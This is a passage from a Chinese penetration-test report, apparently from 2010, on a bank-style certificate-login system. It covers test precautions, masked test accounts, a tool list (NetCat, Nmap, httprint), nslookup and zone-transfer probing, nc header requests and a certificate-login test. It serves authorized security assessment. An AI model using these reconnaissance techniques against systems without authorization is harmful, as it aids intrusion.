另外,测试人员在每次测试前也将通过电话、邮件等方式告知相关人员,以防止测试过 程中出现意外情况。

技术手段XX 科技的渗透测试人员都具有丰富的经验和技能,在每一步测试前都会预估可能带来的 后果,对于可能产生影响的测试(如:溢出攻击)将被记录并跳过,并在随后与客户协商决 定是否进行测试及测试方法。

监控措施 针对每一系统进行测试前,测试人员都会告知被测试系统管理员,并且在测试过程中会 随时关注目标系统的负荷等信息,一旦出现任何异常,将会停止测试。

工具的使用 在使用工具测试的过程中,测试人员会通过设置线程、插件数量等参数来减少其对系统 的压力,同时还会去除任何可能对目标系统带来危害的插件,如:远程溢出攻击类插件、拒 绝服务攻击类插件等等。

2.3 测试收益通过实施渗透测试服务,可对贵方的信息化系统起到如下推进作用: 明确安全隐患点 渗透测试是一个从空间到面再到点的过程,测试人员模拟黑客的入侵,从外部整体切入 最终落至某个威胁点并加以利用,最终对整个网络产生威胁,以此明确整体系统中的安全隐 患点。

提高安全意识 如上所述,任何的隐患在渗透测试服务中都可能造成“千里之堤溃于蚁穴”的效果,因 此渗透测试服务可有效督促管理人员杜绝任何一处小的缺陷,从而降低整体风险。

提高安全技能 在测试人员与用户的交互过程中,可提升用户的技能。

另外,通过专业的渗透测试报告, 也能为用户提供当前流行安全问题的参考。

三. 测试目标说明3.1 测试对象测试对象名称 新 XXX 系统平台证书版登录 IP 地址:相关域名、对应的 URL3.2 测试账号测试账号名称 XXX 系统账号相关详细信息账号所有者:XX ID:95xxPIN 码:xx XXX 系统登录名 zhdh 密码 xx 账号所有者:xx ID:95xx PIN 码:XX XXX 系统登录名 xx 密码 xx3.3 时间测试工作的时间段起始时间 2010-4-xx结束时间 2010-4-xx本份测试报告分析的各种安全风险,仅限定于在上述时间段内测试反馈信息的整理,不 包括非上述时间段内的因系统调整、维护更新后出现的其他变化情况。

3.4 参与测试人员参测人员名单姓名所属部门姓名所属部门联系方式 联系方式3.5 测试环境本次渗透测试过程中,XX 科技测试小组使用过多个互联网 IP 地址开展的分析工作,在此通知 XXX 新 XXX 系统相关人员在对受测试的目标站点服务器、相应的网络入侵检测系统进行安全监控和日志分析时,排除以下 IP 地址产生的任何违规信息,以保证分析结果的准确有效。

IP 地址IP 地址IP 地址IP 地址暂无暂无3.6 工具及相关资源表 3.1 测试工具:NetCat工具名称 工具用途 相关信息NetCat 端口连接,数据提交表 3.2 测试工具:Nmap工具名称 工具用途 相关信息Nmap 端口扫描,服务识别,操作系统指纹识别表 3.3 测试工具:httprint工具名称 工具用途 相关信息Httprint 通过远程 http 指纹判断 http 服务类型表 3.4 测试工具:Tamper IE工具名称 工具用途 相关信息Tamper IE HTTP 数据包修改、转发工具(Firefox 插件)表 3.5 测试工具:安全检测工具集工具名称XX 科技整理的安全检测工具集工具用途跨站及 SQL 注入测试、远程溢出测试、暴力破解测试、嗅探分析相关信息在具体的分析过程中,XX 科技测试小组在微软的 Windows 平台上(涵盖 2003/Vista),使用了 IE(涵盖)和 Firefox 浏览器对指定的测试对象进行的分析、校验、测试。

因此,漏 洞分析检测到的部分安全问题可能与特定的操作系统、软件版本有具体关系,提醒后期实施漏洞修复工作的人员特别注意其中的差异。

四. 测试过程详述4.1 目标信息探测4.1.1 域名信息渗透测试人员首先通过 nslookup 对主机的 IP 地址、NS 记录等信息的查询,对站点进行基本的信息探测:Default Server:> 查询 ns 记录> set type=ns>Non-authoritative answer:nameserver => server Server:Address: 测试区域传输> set type=axfr> ls -dls: connect: No error*** Can't list domain : Unspecified errorThe DNS server refused to transfer the zone to your computer. If thisis incorrect, check the zone transfer security settings for on the DNSserver at IP address 查询站点 mx 记录> set type=mx>Server:Address: 123.MX preference = 5, mail exchanger =nameserver =: 图 4.1 使用 ftp 客户端对目标主机进行验证由此可确认 TCP 21 虽开放,但应在网络层有相关的 ACL 限制,因此无法从 Internet 对 其 FTP 服务发起连接请求。

4.1.2 服务信息探测通过端口扫描判断,远程目标主机仅有 TCP 443 端口(WEB 应用服务)可用,因此,后继 的渗透测试工作主要针对 WEB 应用本身及运行于 WEB 应用上的代码展开。

首先使用 httprint 对远程主机的 WEB 应用版本进行判断: 图 4.2 httprint 判断远程 WEB 应用版本根据 httprint 输出无法判断远程主机的 WEB 应用。

通过 nc 手工提交 HTTP HEAD 请求,依然无法获取到目标 WEB 应用版本信息。

图 4.3 使用 nc 提交 HTTP HEAD 请求 通过 nc 手工提交 HTTP OPTIONS 请求,依然无法获取到目标 WEB 应用版本信息。

图 4.4 使用 nc 提交 HTTP OPTIONS 请求4.2 对应用的测试测试人员根据 WASC 威胁分类①,对应用程序的渗透测试从五个类型的安全方面进行测试, 这五个威胁类型包括:认证和授权、命令执行、逻辑攻击、客户端攻击、信息泄露。

暴力攻击LDAP 注入认证不充分SSI 注入会话定置SQL 注入会话期限不充分 Xpath 注入凭证/会话预测 操作系统命令授权不充分 格式字符串攻击缓冲区溢出功能滥用拒绝服务可预测资源定位路径遍历跨站点脚本编制目录索引内容电子欺骗信息泄露图 4.5 WASC 威胁分类图由于 XXX 系统区别于普通的 WEB 系统,因此,测试人员根据 XXX 系统的特点,从实际出 发采用手工测试的方法,对五大类威胁中的部分内容进行测试。

4.2.2 认证和授权类由于 XXX 系统的特殊性②,测试人员没有对 XXX 系统登录账号进行暴力攻击的尝试,而是 采用使用证书方式对证书的有效性进行测试。

此次测试 XX 新 XXX 系统采用硬件 USBKe(y 即 XX),首先,测试人员对正常情况使用 USBKey 登录 XXX 系统进行记录和分析。

图 4.6 使用 USBKey 登录信息在没有插入 USBKey 的情况下,测试人员使用其他银行的“软证书”③进行登录: 图 4.7 使用其他银行“软证书”进行登录① WASC 即 Web Application Security Consortium。

相关文档
最新文档